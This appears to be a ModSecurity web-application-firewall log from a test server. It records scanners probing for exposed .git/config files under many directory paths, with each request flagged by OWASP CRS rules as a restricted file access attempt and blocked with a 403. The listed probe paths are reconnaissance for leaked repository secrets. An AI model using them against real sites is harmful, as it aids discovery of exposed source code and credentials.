[Sat Mar 29 17:39:10.068193 2025] [:error] [pid 2106540] [client 34.221.111.118:60854] [client 34.221.111.118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-giLkEEMuoW1Z_Ry8_ZYgAAAAQ&quot;]
[Sun Mar 30 09:45:40.804733 2025] [:error] [pid 2125893] [client 18.116.162.27:46426] [client 18.116.162.27] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-j2pGUvy7xCRhR0YxA9BwAAAAE&quot;]
[Sun Mar 30 09:45:40.805110 2025] [:error] [pid 2125893] [client 18.116.162.27:46426] [client 18.116.162.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-j2pGUvy7xCRhR0YxA9BwAAAAE&quot;]
[Sun Mar 30 09:45:40.805283 2025] [:error] [pid 2125893] [client 18.116.162.27:46426] [client 18.116.162.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-j2pGUvy7xCRhR0YxA9BwAAAAE&quot;]
[Thu Apr 03 10:32:51.593705 2025] [:error] [pid 2225861] [client 179.43.188.122:35362] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Z-5Hs9V-m7aWJjgpDgGIuAAAAAE&quot;]
[Thu Apr 03 10:32:51.593978 2025] [:error] [pid 2225860] [client 179.43.188.122:35390] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /logs/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.git/config&quot;] [unique_id &quot;Z-5Hs42ek4pGUD-a5LdS9AAAAAA&quot;]
[Thu Apr 03 10:32:51.596185 2025] [:error] [pid 2225860] [client 179.43.188.122:35390] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.git/config&quot;] [unique_id &quot;Z-5Hs42ek4pGUD-a5LdS9AAAAAA&quot;]
[Thu Apr 03 10:32:51.596193 2025] [:error] [pid 2225861] [client 179.43.188.122:35362] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Z-5Hs9V-m7aWJjgpDgGIuAAAAAE&quot;]
[Thu Apr 03 10:32:51.596373 2025] [:error] [pid 2225860] [client 179.43.188.122:35390] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.git/config&quot;] [unique_id &quot;Z-5Hs42ek4pGUD-a5LdS9AAAAAA&quot;]
[Thu Apr 03 10:32:51.596420 2025] [:error] [pid 2225861] [client 179.43.188.122:35362] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Z-5Hs9V-m7aWJjgpDgGIuAAAAAE&quot;]
[Thu Apr 03 10:32:51.594351 2025] [:error] [pid 2225865] [client 179.43.188.122:35378] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z-5HswMPUQy-dabMHTz_LAAAAAU&quot;]
[Thu Apr 03 10:32:51.596685 2025] [:error] [pid 2225865] [client 179.43.188.122:35378] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z-5HswMPUQy-dabMHTz_LAAAAAU&quot;]
[Thu Apr 03 10:32:51.596858 2025] [:error] [pid 2225865] [client 179.43.188.122:35378] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z-5HswMPUQy-dabMHTz_LAAAAAU&quot;]
[Thu Apr 03 10:32:51.630191 2025] [:error] [pid 2226227] [client 179.43.188.122:35336] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /test/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Z-5Hs3AgicyW8cXPpq5TFgAAAAY&quot;]
[Thu Apr 03 10:32:51.630424 2025] [:error] [pid 2226227] [client 179.43.188.122:35336] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Z-5Hs3AgicyW8cXPpq5TFgAAAAY&quot;]
[Thu Apr 03 10:32:51.630588 2025] [:error] [pid 2226227] [client 179.43.188.122:35336] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Z-5Hs3AgicyW8cXPpq5TFgAAAAY&quot;]
[Thu Apr 03 10:32:51.643780 2025] [:error] [pid 2225864] [client 179.43.188.122:35348] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;Z-5Hs1SO4QAJxS15OpFMRgAAAAQ&quot;]
[Thu Apr 03 10:32:51.643980 2025] [:error] [pid 2225864] [client 179.43.188.122:35348] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;Z-5Hs1SO4QAJxS15OpFMRgAAAAQ&quot;]
[Thu Apr 03 10:32:51.644128 2025] [:error] [pid 2225864] [client 179.43.188.122:35348] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;Z-5Hs1SO4QAJxS15OpFMRgAAAAQ&quot;]
[Thu Apr 03 10:32:51.677362 2025] [:error] [pid 2232066] [client 179.43.188.122:35450] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Z-5Hs_NXIxfzGLZjKc_SMwAAAAk&quot;]
[Thu Apr 03 10:32:51.677362 2025] [:error] [pid 2232065] [client 179.43.188.122:35418] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /source/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.git/config&quot;] [unique_id &quot;Z-5HswCafeVT-9JQzsd2UgAAAAg&quot;]
[Thu Apr 03 10:32:51.677633 2025] [:error] [pid 2232065] [client 179.43.188.122:35418] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.git/config&quot;] [unique_id &quot;Z-5HswCafeVT-9JQzsd2UgAAAAg&quot;]
[Thu Apr 03 10:32:51.677633 2025] [:error] [pid 2232066] [client 179.43.188.122:35450] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Z-5Hs_NXIxfzGLZjKc_SMwAAAAk&quot;]
[Thu Apr 03 10:32:51.677807 2025] [:error] [pid 2232066] [client 179.43.188.122:35450] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Z-5Hs_NXIxfzGLZjKc_SMwAAAAk&quot;]
[Thu Apr 03 10:32:51.677825 2025] [:error] [pid 2232065] [client 179.43.188.122:35418] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.git/config&quot;] [unique_id &quot;Z-5HswCafeVT-9JQzsd2UgAAAAg&quot;]
[Thu Apr 03 10:32:51.826692 2025] [:error] [pid 2225863] [client 179.43.188.122:35322] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;Z-5Hs3_ekhdthWt3CWxYIwAAAAM&quot;]
[Thu Apr 03 10:32:51.826955 2025] [:error] [pid 2225863] [client 179.43.188.122:35322] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;Z-5Hs3_ekhdthWt3CWxYIwAAAAM&quot;]
[Thu Apr 03 10:32:51.827137 2025] [:error] [pid 2225863] [client 179.43.188.122:35322] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;Z-5Hs3_ekhdthWt3CWxYIwAAAAM&quot;]
[Thu Apr 03 10:32:51.994831 2025] [:error] [pid 2225861] [client 179.43.188.122:35460] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /old/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.git/config&quot;] [unique_id &quot;Z-5Hs9V-m7aWJjgpDgGIuQAAAAE&quot;]
[Thu Apr 03 10:32:51.995065 2025] [:error] [pid 2225861] [client 179.43.188.122:35460] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.git/config&quot;] [unique_id &quot;Z-5Hs9V-m7aWJjgpDgGIuQAAAAE&quot;]
[Thu Apr 03 10:32:51.995224 2025] [:error] [pid 2225861] [client 179.43.188.122:35460] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.git/config&quot;] [unique_id &quot;Z-5Hs9V-m7aWJjgpDgGIuQAAAAE&quot;]
[Thu Apr 03 10:32:51.995710 2025] [:error] [pid 2232064] [client 179.43.188.122:35406] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Z-5Hs5PD7w9aYE3sdgKGpwAAAAc&quot;]
[Thu Apr 03 10:32:51.996099 2025] [:error] [pid 2232064] [client 179.43.188.122:35406] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Z-5Hs5PD7w9aYE3sdgKGpwAAAAc&quot;]
